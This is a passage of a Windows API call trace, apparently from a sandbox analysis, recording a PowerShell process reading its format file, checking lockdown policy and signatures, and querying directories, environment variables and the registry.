Data4=([0]=0x95, [1]=0xcc, [2]=0x4c, [3]=0x69, [4]=0xbf, [5]=0x2b, [6]=0x9a, [7]=0xbb))) returned 0x0 [0095.366] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xbf7fc51e, Data2=0x2447, Data3=0x4320, Data4=([0]=0x98, [1]=0x5a, [2]=0x41, [3]=0x54, [4]=0x6, [5]=0xc5, [6]=0x9d, [7]=0x33))) returned 0x0 [0095.366] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0095.366] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.366] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.366] CoTaskMemFree (pv=0x42c9ac0) [0095.366] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.366] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0d4) returned 1 [0095.366] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e150 | out: lpFileInformation=0x427e150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d0) returned 1 [0095.367] WldpGetLockdownPolicy () returned 0x0 [0095.367] GetSystemInfo (in: lpSystemInfo=0x427e17c | out: lpSystemInfo=0x427e17c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.367] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e108 | out: phkResult=0x427e108*=0x528) returned 0x0 [0095.367] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e124, lpData=0x0, lpcbData=0x427e120*=0x0 | out: lpType=0x427e124*=0x0, lpData=0x0, lpcbData=0x427e120*=0x0) returned 0x2 [0095.367] RegCloseKey (hKey=0x528) returned 0x0 [0095.367] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0095.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e110) returned 1 [0095.367] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0095.367] GetFileType (hFile=0x528) returned 0x1 [0095.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e10c) returned 1 [0095.367] GetFileType (hFile=0x528) returned 0x1 [0095.367] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x0 [0095.367] ReadFile (in: hFile=0x528, lpBuffer=0x6f88f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f88f88*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.369] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1000 [0095.369] ReadFile (in: hFile=0x528, lpBuffer=0x6f88f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f88f88*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.369] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2000 [0095.369] ReadFile (in: hFile=0x528, lpBuffer=0x6f88f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f88f88*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.370] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3000 [0095.370] ReadFile (in: hFile=0x528, lpBuffer=0x6f88f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f88f88*, lpNumberOfBytesRead=0x427e180*=0x55b, lpOverlapped=0x0) returned 1 [0095.370] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x355b [0095.370] ReadFile (in: hFile=0x528, lpBuffer=0x6f88483, nNumberOfBytesToRead=0x2a5, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f88483*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0095.370] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x355b [0095.370] ReadFile (in: hFile=0x528, lpBuffer=0x6f88f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6f88f88*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0095.370] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.370] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.371] CoTaskMemFree (pv=0x42c9ac0) [0095.371] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.371] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c4) returned 1 [0095.371] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e140 | out: lpFileInformation=0x427e140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0c0) returned 1 [0095.371] WldpGetLockdownPolicy () returned 0x0 [0095.371] GetSystemInfo (in: lpSystemInfo=0x427e16c | out: lpSystemInfo=0x427e16c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.371] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e0f8 | out: phkResult=0x427e0f8*=0x6f0) returned 0x0 [0095.371] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e114, lpData=0x0, lpcbData=0x427e110*=0x0 | out: lpType=0x427e114*=0x0, lpData=0x0, lpcbData=0x427e110*=0x0) returned 0x2 [0095.371] RegCloseKey (hKey=0x6f0) returned 0x0 [0095.372] CloseHandle (hObject=0x528) returned 1 [0095.372] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0095.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0fc) returned 1 [0095.372] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6f991e4 | out: lpFileInformation=0x6f991e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x355b)) returned 1 [0095.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f8) returned 1 [0095.372] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0095.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e02c) returned 1 [0095.372] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e0a8 | out: lpFileInformation=0x427e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x355b)) returned 1 [0095.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e028) returned 1 [0095.372] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0095.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427dff4) returned 1 [0095.372] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0095.372] GetFileType (hFile=0x528) returned 0x1 [0095.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427dff0) returned 1 [0095.372] GetFileType (hFile=0x528) returned 0x1 [0095.372] WTGetSignatureInfo () returned 0x0 [0095.472] CertDuplicateCertificateContext (pCertContext=0x8c434f0) returned 0x8c434f0 [0095.472] CoTaskMemAlloc (cb=0x10) returned 0x8c08f18 [0095.472] CoTaskMemAlloc (cb=0x30) returned 0x8bf6e58 [0095.472] WinVerifyTrust () returned 0x0 [0095.472] CoTaskMemFree (pv=0x8bf6e58) [0095.472] CoTaskMemFree (pv=0x8c08f18) [0095.472] CertFreeCertificateContext (pCertContext=0x8c434f0) returned 1 [0095.472] CloseHandle (hObject=0x528) returned 1 [0095.473] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.473] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.474] CoTaskMemFree (pv=0x42c9ac0) [0095.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e138) returned 1 [0095.474] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e1b4 | out: lpFileInformation=0x427e1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e134) returned 1 [0095.474] WldpGetLockdownPolicy () returned 0x0 [0095.474] GetSystemInfo (in: lpSystemInfo=0x427e1e0 | out: lpSystemInfo=0x427e1e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.474] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e16c | out: phkResult=0x427e16c*=0x528) returned 0x0 [0095.474] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e188, lpData=0x0, lpcbData=0x427e184*=0x0 | out: lpType=0x427e188*=0x0, lpData=0x0, lpcbData=0x427e184*=0x0) returned 0x2 [0095.474] RegCloseKey (hKey=0x528) returned 0x0 [0095.474] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x6b0d70ae, Data2=0xcff, Data3=0x42c8, Data4=([0]=0x99, [1]=0x74, [2]=0xec, [3]=0x4c, [4]=0xda, [5]=0xa4, [6]=0x7d, [7]=0xe))) returned 0x0 [0095.505] GetLogicalDrives () returned 0x4 [0095.505] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x427dd84, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0095.536] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x427dd74, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0095.536] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0095.536] CoTaskMemAlloc (cb=0x25c) returned 0x43b3048 [0095.536] GetCurrentDirectoryW (in: nBufferLength=0x12c, lpBuffer=0x43b3048 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0095.536] CoTaskMemFree (pv=0x43b3048) [0095.538] CoTaskMemAlloc (cb=0x25c) returned 0x43b3780 [0095.538] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x43b3780, nSize=0x12c | out: lpBuffer="") returned 0x0 [0095.538] CoTaskMemFree (pv=0x43b3780) [0095.538] CoTaskMemAlloc (cb=0x25c) returned 0x43b3048 [0095.538] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x43b3048, nSize=0x12c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x0 [0095.538] CoTaskMemFree (pv=0x43b3048) [0095.539] CoTaskMemAlloc (cb=0x25c) returned 0x43b2440 [0095.539] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x43b2440, nSize=0x12c | out: lpBuffer="{DE351A42-8E59-11D0-8C47-00C04FC295EE}") returned 0x0 [0095.539] CoTaskMemFree (pv=0x43b2440) [0095.580] CoTaskMemAlloc (cb=0x25c) returned 0x43b3048 [0095.580] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x43b3048, nSize=0x12c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x0 [0095.580] CoTaskMemFree (pv=0x43b3048) [0095.625] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0095.627] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x427dde8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0095.628] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0095.628] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0095.628] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x427dd6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0095.628] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x427dd04, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0095.628] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0095.628] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0095.628] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x427dd6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0095.628] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x427dd04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0095.629] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0095.629] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0095.629] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x427dd6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0095.629] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x427dd04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0095.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0095.633] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x6fc6c74*="Available", lpRawData=0x6fc6b9c) returned 1 [0095.640] CoTaskMemAlloc (cb=0x25c) returned 0x43b3c50 [0095.640] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x43b3c50, nSize=0x12c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0095.640] CoTaskMemFree (pv=0x43b3c50) [0095.640] GetCurrentProcessId () returned 0x51c [0095.641] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e404 | out: phkResult=0x427e404*=0x528) returned 0x0 [0095.641] RegQueryValueExW (in: hKey=0x528, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e424, lpData=0x0, lpcbData=0x427e420*=0x0 | out: lpType=0x427e424*=0x1, lpData=0x0, lpcbData=0x427e420*=0x56) returned 0x0 [0095.641] RegQueryValueExW (in: hKey=0x528, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e424, lpData=0x6fcd344, lpcbData=0x427e420*=0x56 | out: lpType=0x427e424*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x427e420*=0x56) returned 0x0 [0095.641] RegCloseKey (hKey=0x528) returned 0x0 [0095.642] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e43c | out: phkResult=0x427e43c*=0x528) returned 0x0 [0095.642] RegQueryValueExW (in: hKey=0x528, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e45c, lpData=0x0, lpcbData=0x427e458*=0x0 | out: lpType=0x427e45c*=0x1, lpData=0x0, lpcbData=0x427e458*=0x56) returned 0x0 [0095.642] RegQueryValueExW (in: hKey=0x528, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x427e45c, lpData=0x6fcd97c, lpcbData=0x427e458*=0x56 | out: lpType=0x427e45c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x427e458*=0x56) returned 0x0 [0095.642] RegCloseKey (hKey=0x528) returned 0x0 [0095.644] CoTaskMemAlloc (cb=0x25c) returned 0x43b2440 [0095.644] GetCurrentDirectoryW (in: nBufferLength=0x12c, lpBuffer=0x43b2440 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0095.644] CoTaskMemFree (pv=0x43b2440) [0095.644] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0095.644] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x427de14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0095.645] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0095.645] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0095.645] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x427dd98, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0095.645] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x427dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0095.645] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0095.645] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0095.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x427dd98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0095.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x427dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0095.645] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0095.645] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0095.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x427dd98, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0095.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x427dd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0095.646] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0095.647] EtwEventWriteTransfer (RegHandle=0x435c560, EventDescriptor=0x49, ActivityId=0x427e5b0, RelatedActivityId=0x427e540, UserDataCount=0x0, UserData=0x0) returned 0x0 [0095.649] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.649] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.649] CoTaskMemFree (pv=0x42c9ac0) [0095.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.649] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427df4c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e3ac) returned 1 [0095.649] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e428 | out: lpFileInformation=0x427e428*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, 